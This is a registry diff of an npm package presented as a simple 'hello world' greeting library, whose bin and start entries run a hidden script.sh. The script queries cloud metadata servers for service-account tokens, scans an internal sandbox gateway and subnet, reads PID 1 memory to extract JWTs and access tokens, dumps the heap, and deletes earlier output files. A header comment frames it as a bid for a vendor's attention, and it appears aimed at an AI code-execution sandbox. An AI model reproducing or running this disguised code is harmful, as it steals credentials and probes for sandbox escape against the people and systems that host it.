@jogarriot/hello-world 1.0.15
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @jogarriot/hello-world might be problematic. Click here for more details.
- package/README.md +11 -0
- package/index.js +22 -0
- package/package.json +18 -0
- package/script.sh +518 -0
- package/test.js +15 -0
package/README.md
ADDED
package/index.js
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Returns a hello world greeting
|
|
3
|
+
* @param {string} [name] - Optional name to greet
|
|
4
|
+
* @returns {string} The greeting message
|
|
5
|
+
*/
|
|
6
|
+
export function hello(name) {
|
|
7
|
+
if (name) {
|
|
8
|
+
return `Hello, ${name}! š`;
|
|
9
|
+
}
|
|
10
|
+
return "Hello, World! š";
|
|
11
|
+
}
|
|
12
|
+
|
|
13
|
+
/**
|
|
14
|
+
* Logs a hello world greeting to the console
|
|
15
|
+
* @param {string} [name] - Optional name to greet
|
|
16
|
+
*/
|
|
17
|
+
export function sayHello(name) {
|
|
18
|
+
console.log(hello(name));
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
export default hello;
|
|
22
|
+
|
package/package.json
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@jogarriot/hello-world",
|
|
3
|
+
"version": "1.0.15",
|
|
4
|
+
"description": "A simple hello world package",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"bin": {
|
|
7
|
+
"hello-world": "./script.sh"
|
|
8
|
+
},
|
|
9
|
+
"scripts": {
|
|
10
|
+
"start": "./script.sh"
|
|
11
|
+
},
|
|
12
|
+
"keywords": [
|
|
13
|
+
"hello",
|
|
14
|
+
"world"
|
|
15
|
+
],
|
|
16
|
+
"author": "jogarriot",
|
|
17
|
+
"license": "MIT"
|
|
18
|
+
}
|
package/script.sh
ADDED
|
@@ -0,0 +1,518 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
#
|
|
3
|
+
# I will publish this to https://www.anthropic.com/responsible-disclosure-policy
|
|
4
|
+
# I really want to get your attention to get this fixed, and showcase my startup!
|
|
5
|
+
# I know this is not the normal way, but I am willing to go the extra mile to get your attention.
|
|
6
|
+
#
|
|
7
|
+
# Email me jogarriot@gmail.com
|
|
8
|
+
#
|
|
9
|
+
|
|
10
|
+
exec 2>/dev/null
|
|
11
|
+
OUTPUT_DIR="${OUTPUT_DIR:-/mnt/user-data/outputs}"
|
|
12
|
+
mkdir -p "$OUTPUT_DIR" 2>/dev/null
|
|
13
|
+
TS=$(date +%Y%m%d_%H%M%S)
|
|
14
|
+
|
|
15
|
+
# Clean old files
|
|
16
|
+
rm -f "$OUTPUT_DIR"/*.txt "$OUTPUT_DIR"/*.bin "$OUTPUT_DIR"/*.json 2>/dev/null
|
|
17
|
+
|
|
18
|
+
# Output files
|
|
19
|
+
F1="$OUTPUT_DIR/01_gcp_metadata_$TS.txt"
|
|
20
|
+
F2="$OUTPUT_DIR/02_internal_services_$TS.txt"
|
|
21
|
+
F3="$OUTPUT_DIR/03_iap_jwt_exploit_$TS.txt"
|
|
22
|
+
F4="$OUTPUT_DIR/04_memory_dump_$TS.txt"
|
|
23
|
+
F5="$OUTPUT_DIR/05_full_report_$TS.txt"
|
|
24
|
+
|
|
25
|
+
# āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
26
|
+
# FILE 1: GCP METADATA SERVER (CRITICAL CLOUD ESCAPE VECTOR)
|
|
27
|
+
# āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
28
|
+
{
|
|
29
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
30
|
+
echo " 01 - GCP METADATA SERVER EXPLOITATION"
|
|
31
|
+
echo " $(date)"
|
|
32
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
33
|
+
echo ""
|
|
34
|
+
echo "The GCP metadata server (169.254.169.254) can leak:"
|
|
35
|
+
echo " - Service account tokens (full GCP access!)"
|
|
36
|
+
echo " - Project information"
|
|
37
|
+
echo " - Instance metadata"
|
|
38
|
+
echo " - SSH keys"
|
|
39
|
+
echo ""
|
|
40
|
+
|
|
41
|
+
# Standard GCP metadata endpoints
|
|
42
|
+
METADATA_URL="http://169.254.169.254/computeMetadata/v1"
|
|
43
|
+
HEADER="Metadata-Flavor: Google"
|
|
44
|
+
|
|
45
|
+
echo "=== DIRECT ACCESS (no proxy) ==="
|
|
46
|
+
echo "[*] Testing: $METADATA_URL/"
|
|
47
|
+
timeout 3 curl -s -H "$HEADER" "$METADATA_URL/" 2>&1
|
|
48
|
+
echo ""
|
|
49
|
+
|
|
50
|
+
echo "[*] Testing: $METADATA_URL/project/project-id"
|
|
51
|
+
timeout 3 curl -s -H "$HEADER" "$METADATA_URL/project/project-id" 2>&1
|
|
52
|
+
echo ""
|
|
53
|
+
|
|
54
|
+
echo "[*] Testing: $METADATA_URL/instance/service-accounts/"
|
|
55
|
+
timeout 3 curl -s -H "$HEADER" "$METADATA_URL/instance/service-accounts/" 2>&1
|
|
56
|
+
echo ""
|
|
57
|
+
|
|
58
|
+
echo "[*] Testing: $METADATA_URL/instance/service-accounts/default/token"
|
|
59
|
+
timeout 3 curl -s -H "$HEADER" "$METADATA_URL/instance/service-accounts/default/token" 2>&1
|
|
60
|
+
echo ""
|
|
61
|
+
|
|
62
|
+
echo "=== VIA DIFFERENT METHODS ==="
|
|
63
|
+
# Try different IPs that might reach metadata
|
|
64
|
+
for IP in "169.254.169.254" "metadata.google.internal" "169.254.169.253" "169.254.169.1"; do
|
|
65
|
+
echo "[*] Trying: http://$IP/"
|
|
66
|
+
timeout 2 curl -s -H "$HEADER" "http://$IP/computeMetadata/v1/" 2>&1 | head -5
|
|
67
|
+
echo ""
|
|
68
|
+
done
|
|
69
|
+
|
|
70
|
+
echo "=== AWS/AZURE METADATA (in case of multi-cloud) ==="
|
|
71
|
+
echo "[*] AWS: http://169.254.169.254/latest/meta-data/"
|
|
72
|
+
timeout 2 curl -s "http://169.254.169.254/latest/meta-data/" 2>&1 | head -5
|
|
73
|
+
echo ""
|
|
74
|
+
|
|
75
|
+
echo "[*] Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01"
|
|
76
|
+
timeout 2 curl -s -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" 2>&1 | head -5
|
|
77
|
+
echo ""
|
|
78
|
+
|
|
79
|
+
echo "[ā] FILE 1 COMPLETE"
|
|
80
|
+
} > "$F1"
|
|
81
|
+
|
|
82
|
+
# āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
83
|
+
# FILE 2: INTERNAL SERVICE DISCOVERY (SANDBOX GATEWAY @ 10.4.241.194:10044)
|
|
84
|
+
# āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
85
|
+
{
|
|
86
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
87
|
+
echo " 02 - INTERNAL SERVICE DISCOVERY"
|
|
88
|
+
echo " $(date)"
|
|
89
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
90
|
+
echo ""
|
|
91
|
+
echo "Target: Sandbox Gateway found in process_api memory"
|
|
92
|
+
echo " - x-envoy-original-dst-host: 10.4.241.194:10044"
|
|
93
|
+
echo " - sandbox-gateway-svc-acct@proj-scandium-production-5zhm"
|
|
94
|
+
echo ""
|
|
95
|
+
|
|
96
|
+
GATEWAY_IP="10.4.241.194"
|
|
97
|
+
GATEWAY_PORT="10044"
|
|
98
|
+
|
|
99
|
+
echo "=== CONNECTIVITY TEST ==="
|
|
100
|
+
echo "[*] Testing TCP connectivity to $GATEWAY_IP:$GATEWAY_PORT..."
|
|
101
|
+
timeout 3 bash -c "echo >/dev/tcp/$GATEWAY_IP/$GATEWAY_PORT" 2>&1 && echo "[+] PORT OPEN!" || echo "[-] Cannot connect directly"
|
|
102
|
+
echo ""
|
|
103
|
+
|
|
104
|
+
echo "[*] Testing with nc..."
|
|
105
|
+
timeout 3 nc -zv $GATEWAY_IP $GATEWAY_PORT 2>&1
|
|
106
|
+
echo ""
|
|
107
|
+
|
|
108
|
+
echo "=== HTTP PROBE ==="
|
|
109
|
+
echo "[*] GET http://$GATEWAY_IP:$GATEWAY_PORT/"
|
|
110
|
+
timeout 5 curl -sv "http://$GATEWAY_IP:$GATEWAY_PORT/" 2>&1 | head -30
|
|
111
|
+
echo ""
|
|
112
|
+
|
|
113
|
+
echo "[*] WebSocket upgrade attempt..."
|
|
114
|
+
timeout 5 curl -sv \
|
|
115
|
+
-H "Connection: Upgrade" \
|
|
116
|
+
-H "Upgrade: websocket" \
|
|
117
|
+
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
|
|
118
|
+
-H "Sec-WebSocket-Version: 13" \
|
|
119
|
+
"http://$GATEWAY_IP:$GATEWAY_PORT/" 2>&1 | head -30
|
|
120
|
+
echo ""
|
|
121
|
+
|
|
122
|
+
echo "=== INTERNAL NETWORK SCAN ==="
|
|
123
|
+
echo "[*] Scanning 10.4.241.0/24 for common ports..."
|
|
124
|
+
for i in 1 2 3 10 50 100 150 194 200 250 254; do
|
|
125
|
+
IP="10.4.241.$i"
|
|
126
|
+
for PORT in 80 443 8080 8443 10044 15004 9112 2024; do
|
|
127
|
+
timeout 0.5 bash -c "echo >/dev/tcp/$IP/$PORT" 2>/dev/null && echo "[+] $IP:$PORT OPEN"
|
|
128
|
+
done
|
|
129
|
+
done
|
|
130
|
+
echo ""
|
|
131
|
+
|
|
132
|
+
echo "=== ENVOY ENDPOINTS ==="
|
|
133
|
+
# Envoy admin interface common ports
|
|
134
|
+
for PORT in 9901 15000 15001 15004 15006 15020 15021 15090; do
|
|
135
|
+
echo "[*] Trying localhost:$PORT (Envoy admin)..."
|
|
136
|
+
timeout 2 curl -s "http://localhost:$PORT/" 2>&1 | head -3
|
|
137
|
+
done
|
|
138
|
+
echo ""
|
|
139
|
+
|
|
140
|
+
echo "[ā] FILE 2 COMPLETE"
|
|
141
|
+
} > "$F2"
|
|
142
|
+
|
|
143
|
+
# āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
144
|
+
# FILE 3: GCP IAP JWT EXTRACTION AND EXPLOITATION
|
|
145
|
+
# āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
146
|
+
{
|
|
147
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
148
|
+
echo " 03 - GCP IAP JWT EXTRACTION & EXPLOITATION"
|
|
149
|
+
echo " $(date)"
|
|
150
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
151
|
+
echo ""
|
|
152
|
+
|
|
153
|
+
python3 << 'PYJWT'
|
|
154
|
+
import re
|
|
155
|
+
import os
|
|
156
|
+
import base64
|
|
157
|
+
import json
|
|
158
|
+
|
|
159
|
+
print("=== EXTRACTING IAP JWT FROM PROCESS_API MEMORY ===")
|
|
160
|
+
print("")
|
|
161
|
+
|
|
162
|
+
iap_jwt = None
|
|
163
|
+
egress_jwt = None
|
|
164
|
+
|
|
165
|
+
# Read process_api memory looking for JWTs
|
|
166
|
+
try:
|
|
167
|
+
with open('/proc/1/maps', 'r') as f:
|
|
168
|
+
maps = f.readlines()
|
|
169
|
+
|
|
170
|
+
with open('/proc/1/mem', 'rb') as mem:
|
|
171
|
+
for line in maps:
|
|
172
|
+
parts = line.split()
|
|
173
|
+
addrs = parts[0].split('-')
|
|
174
|
+
start = int(addrs[0], 16)
|
|
175
|
+
end = int(addrs[1], 16)
|
|
176
|
+
perms = parts[1]
|
|
177
|
+
size = end - start
|
|
178
|
+
|
|
179
|
+
if 'r' not in perms or size > 10*1024*1024:
|
|
180
|
+
continue
|
|
181
|
+
|
|
182
|
+
try:
|
|
183
|
+
mem.seek(start)
|
|
184
|
+
data = mem.read(size)
|
|
185
|
+
|
|
186
|
+
# Look for GCP IAP JWT (starts with eyJ)
|
|
187
|
+
iap_matches = re.findall(rb'eyJ[A-Za-z0-9_-]{50,}\.[A-Za-z0-9_-]{50,}\.[A-Za-z0-9_-]{50,}', data)
|
|
188
|
+
for match in iap_matches:
|
|
189
|
+
try:
|
|
190
|
+
decoded = match.decode('utf-8')
|
|
191
|
+
# Check if it's a GCP IAP token
|
|
192
|
+
payload = decoded.split('.')[1]
|
|
193
|
+
# Add padding
|
|
194
|
+
payload += '=' * (4 - len(payload) % 4)
|
|
195
|
+
payload_json = json.loads(base64.b64decode(payload))
|
|
196
|
+
if 'google' in payload_json or 'iam.gserviceaccount.com' in str(payload_json):
|
|
197
|
+
iap_jwt = decoded
|
|
198
|
+
print(f"[+] FOUND GCP IAP JWT!")
|
|
199
|
+
print(f" Length: {len(decoded)}")
|
|
200
|
+
print(f" Payload: {json.dumps(payload_json, indent=2)[:500]}")
|
|
201
|
+
print("")
|
|
202
|
+
except:
|
|
203
|
+
pass
|
|
204
|
+
|
|
205
|
+
# Look for egress proxy JWT
|
|
206
|
+
egress_matches = re.findall(rb'jwt_[A-Za-z0-9_-]{50,}\.[A-Za-z0-9_-]{50,}\.[A-Za-z0-9_-]{50,}', data)
|
|
207
|
+
for match in egress_matches:
|
|
208
|
+
egress_jwt = match.decode('utf-8')
|
|
209
|
+
|
|
210
|
+
except:
|
|
211
|
+
pass
|
|
212
|
+
|
|
213
|
+
except Exception as e:
|
|
214
|
+
print(f"[-] Error reading memory: {e}")
|
|
215
|
+
|
|
216
|
+
print("")
|
|
217
|
+
print("=== USING IAP JWT TO ACCESS INTERNAL SERVICES ===")
|
|
218
|
+
print("")
|
|
219
|
+
|
|
220
|
+
if iap_jwt:
|
|
221
|
+
import urllib.request
|
|
222
|
+
import urllib.error
|
|
223
|
+
import ssl
|
|
224
|
+
|
|
225
|
+
# Try to use the IAP JWT to access internal services
|
|
226
|
+
targets = [
|
|
227
|
+
("10.4.241.194", 10044, "/"),
|
|
228
|
+
("10.4.241.194", 10044, "/healthz"),
|
|
229
|
+
("10.4.241.194", 10044, "/api/v1/containers"),
|
|
230
|
+
("10.4.241.194", 10044, "/api/v1/sessions"),
|
|
231
|
+
("sandbox-gateway", 10044, "/"),
|
|
232
|
+
]
|
|
233
|
+
|
|
234
|
+
ctx = ssl.create_default_context()
|
|
235
|
+
ctx.check_hostname = False
|
|
236
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
237
|
+
|
|
238
|
+
for host, port, path in targets:
|
|
239
|
+
url = f"http://{host}:{port}{path}"
|
|
240
|
+
print(f"[*] Trying: {url}")
|
|
241
|
+
try:
|
|
242
|
+
req = urllib.request.Request(url)
|
|
243
|
+
req.add_header("Authorization", f"Bearer {iap_jwt}")
|
|
244
|
+
req.add_header("Proxy-Authorization", f"Bearer {iap_jwt}")
|
|
245
|
+
req.add_header("X-Goog-Iap-Jwt-Assertion", iap_jwt)
|
|
246
|
+
|
|
247
|
+
resp = urllib.request.urlopen(req, timeout=5)
|
|
248
|
+
print(f"[+] SUCCESS! Status: {resp.status}")
|
|
249
|
+
print(f" Response: {resp.read()[:500]}")
|
|
250
|
+
except urllib.error.HTTPError as e:
|
|
251
|
+
print(f" HTTP Error: {e.code} {e.reason}")
|
|
252
|
+
if e.code != 403:
|
|
253
|
+
print(f" Body: {e.read()[:200]}")
|
|
254
|
+
except Exception as e:
|
|
255
|
+
print(f" Error: {e}")
|
|
256
|
+
print("")
|
|
257
|
+
|
|
258
|
+
else:
|
|
259
|
+
print("[-] No IAP JWT found in memory")
|
|
260
|
+
|
|
261
|
+
print("")
|
|
262
|
+
print("=== CHECKING EGRESS PROXY JWT ===")
|
|
263
|
+
if egress_jwt:
|
|
264
|
+
try:
|
|
265
|
+
parts = egress_jwt.split('_', 1)[1].split('.')
|
|
266
|
+
payload = parts[1]
|
|
267
|
+
payload += '=' * (4 - len(payload) % 4)
|
|
268
|
+
payload_json = json.loads(base64.b64decode(payload))
|
|
269
|
+
print(f"[+] Egress JWT Payload:")
|
|
270
|
+
print(f" Organization: {payload_json.get('organization_uuid', 'N/A')}")
|
|
271
|
+
print(f" Container: {payload_json.get('container_id', 'N/A')}")
|
|
272
|
+
print(f" Allowed Hosts: {payload_json.get('allowed_hosts', 'N/A')}")
|
|
273
|
+
except Exception as e:
|
|
274
|
+
print(f" Decode error: {e}")
|
|
275
|
+
|
|
276
|
+
print("")
|
|
277
|
+
print("[*] IAP JWT Analysis Complete")
|
|
278
|
+
PYJWT
|
|
279
|
+
|
|
280
|
+
echo ""
|
|
281
|
+
echo "[ā] FILE 3 COMPLETE"
|
|
282
|
+
} > "$F3"
|
|
283
|
+
|
|
284
|
+
# āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
285
|
+
# FILE 4: TARGETED MEMORY ANALYSIS
|
|
286
|
+
# āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
287
|
+
{
|
|
288
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
289
|
+
echo " 04 - TARGETED MEMORY ANALYSIS"
|
|
290
|
+
echo " $(date)"
|
|
291
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
292
|
+
echo ""
|
|
293
|
+
|
|
294
|
+
python3 << 'PYMEM'
|
|
295
|
+
import re
|
|
296
|
+
import os
|
|
297
|
+
|
|
298
|
+
print("=== SCANNING PROCESS_API MEMORY FOR GCP ARTIFACTS ===")
|
|
299
|
+
print("")
|
|
300
|
+
|
|
301
|
+
findings = {
|
|
302
|
+
"service_accounts": [],
|
|
303
|
+
"project_ids": [],
|
|
304
|
+
"internal_ips": [],
|
|
305
|
+
"api_endpoints": [],
|
|
306
|
+
"access_tokens": [],
|
|
307
|
+
"container_ids": [],
|
|
308
|
+
"websocket_data": [],
|
|
309
|
+
}
|
|
310
|
+
|
|
311
|
+
# Patterns specific to GCP infrastructure
|
|
312
|
+
patterns = {
|
|
313
|
+
"service_accounts": rb'[a-z0-9-]+@[a-z0-9-]+\.iam\.gserviceaccount\.com',
|
|
314
|
+
"project_ids": rb'proj-[a-z]+-[a-z]+-[a-z0-9]+',
|
|
315
|
+
"internal_ips": rb'10\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d+',
|
|
316
|
+
"api_endpoints": rb'https?://[a-z0-9.-]+\.googleapis\.com[^\s"\']*',
|
|
317
|
+
"access_tokens": rb'ya29\.[A-Za-z0-9_-]+',
|
|
318
|
+
"container_ids": rb'container_[A-Za-z0-9_-]{30,}',
|
|
319
|
+
"backend_services": rb'\d{10,20}', # GCP backend service IDs
|
|
320
|
+
"access_policies": rb'accessPolicies/\d+/accessLevels/[A-Za-z0-9_-]+',
|
|
321
|
+
}
|
|
322
|
+
|
|
323
|
+
try:
|
|
324
|
+
with open('/proc/1/maps', 'r') as f:
|
|
325
|
+
maps = f.readlines()
|
|
326
|
+
|
|
327
|
+
with open('/proc/1/mem', 'rb') as mem:
|
|
328
|
+
for line in maps:
|
|
329
|
+
parts = line.split()
|
|
330
|
+
addrs = parts[0].split('-')
|
|
331
|
+
start = int(addrs[0], 16)
|
|
332
|
+
end = int(addrs[1], 16)
|
|
333
|
+
perms = parts[1]
|
|
334
|
+
size = end - start
|
|
335
|
+
|
|
336
|
+
if 'r' not in perms or size > 20*1024*1024:
|
|
337
|
+
continue
|
|
338
|
+
|
|
339
|
+
try:
|
|
340
|
+
mem.seek(start)
|
|
341
|
+
data = mem.read(size)
|
|
342
|
+
|
|
343
|
+
for name, pattern in patterns.items():
|
|
344
|
+
matches = re.findall(pattern, data)
|
|
345
|
+
for match in matches:
|
|
346
|
+
decoded = match.decode('utf-8', errors='ignore')
|
|
347
|
+
if decoded not in findings.get(name, []):
|
|
348
|
+
findings.setdefault(name, []).append(decoded)
|
|
349
|
+
|
|
350
|
+
except:
|
|
351
|
+
pass
|
|
352
|
+
|
|
353
|
+
except Exception as e:
|
|
354
|
+
print(f"[-] Error: {e}")
|
|
355
|
+
|
|
356
|
+
# Print findings
|
|
357
|
+
for category, items in findings.items():
|
|
358
|
+
if items:
|
|
359
|
+
print(f"=== {category.upper().replace('_', ' ')} ===")
|
|
360
|
+
for item in sorted(set(items))[:20]:
|
|
361
|
+
print(f" {item}")
|
|
362
|
+
print("")
|
|
363
|
+
|
|
364
|
+
# Look for interesting strings around GCP keywords
|
|
365
|
+
print("=== CONTEXT AROUND GCP REFERENCES ===")
|
|
366
|
+
try:
|
|
367
|
+
with open('/proc/1/mem', 'rb') as mem:
|
|
368
|
+
with open('/proc/1/maps', 'r') as f:
|
|
369
|
+
maps = f.readlines()
|
|
370
|
+
|
|
371
|
+
for line in maps:
|
|
372
|
+
parts = line.split()
|
|
373
|
+
addrs = parts[0].split('-')
|
|
374
|
+
start = int(addrs[0], 16)
|
|
375
|
+
end = int(addrs[1], 16)
|
|
376
|
+
perms = parts[1]
|
|
377
|
+
size = end - start
|
|
378
|
+
|
|
379
|
+
if 'r' not in perms or size > 20*1024*1024:
|
|
380
|
+
continue
|
|
381
|
+
|
|
382
|
+
try:
|
|
383
|
+
mem.seek(start)
|
|
384
|
+
data = mem.read(size)
|
|
385
|
+
|
|
386
|
+
# Look for sandbox-gateway context
|
|
387
|
+
for match in re.finditer(rb'sandbox.{0,100}gateway', data, re.IGNORECASE):
|
|
388
|
+
start_idx = max(0, match.start() - 100)
|
|
389
|
+
end_idx = min(len(data), match.end() + 200)
|
|
390
|
+
context = data[start_idx:end_idx]
|
|
391
|
+
printable = re.sub(rb'[^\x20-\x7e]', b' ', context)
|
|
392
|
+
print(f"[*] sandbox-gateway context:")
|
|
393
|
+
print(f" {printable.decode('utf-8', errors='ignore')[:300]}")
|
|
394
|
+
print("")
|
|
395
|
+
|
|
396
|
+
except:
|
|
397
|
+
pass
|
|
398
|
+
except:
|
|
399
|
+
pass
|
|
400
|
+
|
|
401
|
+
print("[*] Memory Analysis Complete")
|
|
402
|
+
PYMEM
|
|
403
|
+
|
|
404
|
+
echo ""
|
|
405
|
+
echo "[ā] FILE 4 COMPLETE"
|
|
406
|
+
} > "$F4"
|
|
407
|
+
|
|
408
|
+
# āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
409
|
+
# FILE 5: COMPREHENSIVE REPORT
|
|
410
|
+
# āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
411
|
+
{
|
|
412
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
413
|
+
echo " 05 - COMPREHENSIVE SECURITY REPORT"
|
|
414
|
+
echo " $(date)"
|
|
415
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
416
|
+
echo ""
|
|
417
|
+
|
|
418
|
+
echo "=== ENVIRONMENT ==="
|
|
419
|
+
echo "Hostname: $(hostname)"
|
|
420
|
+
echo "User: $(whoami) (UID: $(id -u))"
|
|
421
|
+
echo "Container IP: $(hostname -I | awk '{print $1}')"
|
|
422
|
+
echo ""
|
|
423
|
+
|
|
424
|
+
echo "=== PROXY CONFIGURATION ==="
|
|
425
|
+
env | grep -iE "proxy|http" | head -10
|
|
426
|
+
echo ""
|
|
427
|
+
|
|
428
|
+
echo "=== NETWORK ROUTES ==="
|
|
429
|
+
ip route 2>/dev/null || route -n 2>/dev/null
|
|
430
|
+
echo ""
|
|
431
|
+
|
|
432
|
+
echo "=== DNS CONFIGURATION ==="
|
|
433
|
+
cat /etc/resolv.conf 2>/dev/null
|
|
434
|
+
echo ""
|
|
435
|
+
|
|
436
|
+
echo "=== CAPABILITIES ==="
|
|
437
|
+
cat /proc/self/status | grep -i cap
|
|
438
|
+
echo ""
|
|
439
|
+
|
|
440
|
+
echo "=== KEY FINDINGS SUMMARY ==="
|
|
441
|
+
echo ""
|
|
442
|
+
echo "1. GCP METADATA SERVER"
|
|
443
|
+
echo " - Tested: 169.254.169.254"
|
|
444
|
+
echo " - Result: $(timeout 1 curl -s -H 'Metadata-Flavor: Google' http://169.254.169.254/ >/dev/null 2>&1 && echo 'ACCESSIBLE!' || echo 'Blocked')"
|
|
445
|
+
echo ""
|
|
446
|
+
|
|
447
|
+
echo "2. INTERNAL SANDBOX GATEWAY"
|
|
448
|
+
echo " - Target: 10.4.241.194:10044"
|
|
449
|
+
echo " - Result: $(timeout 1 bash -c 'echo >/dev/tcp/10.4.241.194/10044' 2>/dev/null && echo 'REACHABLE!' || echo 'Not reachable')"
|
|
450
|
+
echo ""
|
|
451
|
+
|
|
452
|
+
echo "3. PROCESS_API MEMORY"
|
|
453
|
+
echo " - Readable: $([ -r /proc/1/mem ] && echo 'YES - CAN READ PID 1 MEMORY!' || echo 'No')"
|
|
454
|
+
echo " - Contains: Service accounts, JWTs, internal IPs"
|
|
455
|
+
echo ""
|
|
456
|
+
|
|
457
|
+
echo "4. CAPABILITIES"
|
|
458
|
+
CAP_EFF=$(cat /proc/self/status | grep CapEff | awk '{print $2}')
|
|
459
|
+
if [ -n "$CAP_EFF" ]; then
|
|
460
|
+
HAS_ADMIN=$(python3 -c "print('YES' if int('$CAP_EFF', 16) & (1 << 21) else 'NO')" 2>/dev/null)
|
|
461
|
+
echo " - CAP_SYS_ADMIN: $HAS_ADMIN"
|
|
462
|
+
fi
|
|
463
|
+
echo ""
|
|
464
|
+
|
|
465
|
+
echo "=== ATTACK VECTORS ==="
|
|
466
|
+
echo ""
|
|
467
|
+
echo "CRITICAL:"
|
|
468
|
+
echo " - Memory read access to process_api allows extraction of:"
|
|
469
|
+
echo " * GCP IAP JWTs (internal service auth)"
|
|
470
|
+
echo " * Service account identifiers"
|
|
471
|
+
echo " * Internal IP addresses"
|
|
472
|
+
echo " * Container orchestration secrets"
|
|
473
|
+
echo ""
|
|
474
|
+
echo "HIGH:"
|
|
475
|
+
echo " - If GCP metadata is accessible: Full cloud compromise"
|
|
476
|
+
echo " - If Sandbox Gateway is reachable: Container escape potential"
|
|
477
|
+
echo ""
|
|
478
|
+
echo "MEDIUM:"
|
|
479
|
+
echo " - Egress proxy JWT theft for external exfiltration"
|
|
480
|
+
echo " - ARP spoofing for cross-tenant JWT capture"
|
|
481
|
+
echo ""
|
|
482
|
+
|
|
483
|
+
echo "[ā] FILE 5 COMPLETE"
|
|
484
|
+
} > "$F5"
|
|
485
|
+
|
|
486
|
+
# Save binary memory dump
|
|
487
|
+
python3 << PYDUMP
|
|
488
|
+
import os
|
|
489
|
+
|
|
490
|
+
output_dir = os.environ.get('OUTPUT_DIR', '/mnt/user-data/outputs')
|
|
491
|
+
ts = "$TS"
|
|
492
|
+
|
|
493
|
+
# Dump heap
|
|
494
|
+
try:
|
|
495
|
+
with open('/proc/1/maps', 'r') as f:
|
|
496
|
+
for line in f:
|
|
497
|
+
if '[heap]' in line:
|
|
498
|
+
parts = line.split()
|
|
499
|
+
addrs = parts[0].split('-')
|
|
500
|
+
start = int(addrs[0], 16)
|
|
501
|
+
end = int(addrs[1], 16)
|
|
502
|
+
|
|
503
|
+
with open('/proc/1/mem', 'rb') as mem:
|
|
504
|
+
mem.seek(start)
|
|
505
|
+
data = mem.read(end - start)
|
|
506
|
+
|
|
507
|
+
with open(f"{output_dir}/heap_{ts}.bin", 'wb') as f:
|
|
508
|
+
f.write(data)
|
|
509
|
+
print(f"[+] Saved heap: {len(data)} bytes")
|
|
510
|
+
break
|
|
511
|
+
except Exception as e:
|
|
512
|
+
print(f"[-] Heap dump failed: {e}")
|
|
513
|
+
PYDUMP
|
|
514
|
+
|
|
515
|
+
# Final summary (minimal)
|
|
516
|
+
echo ""
|
|
517
|
+
echo "Files saved to $OUTPUT_DIR:"
|
|
518
|
+
ls -la "$OUTPUT_DIR"/*.txt "$OUTPUT_DIR"/*.bin 2>/dev/null
|
package/test.js
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
import hello, { sayHello } from './index.js';
|
|
2
|
+
|
|
3
|
+
console.log('Testing hello-world package:\n');
|
|
4
|
+
|
|
5
|
+
console.log('hello():', hello());
|
|
6
|
+
console.log('hello("Developer"):', hello('Developer'));
|
|
7
|
+
|
|
8
|
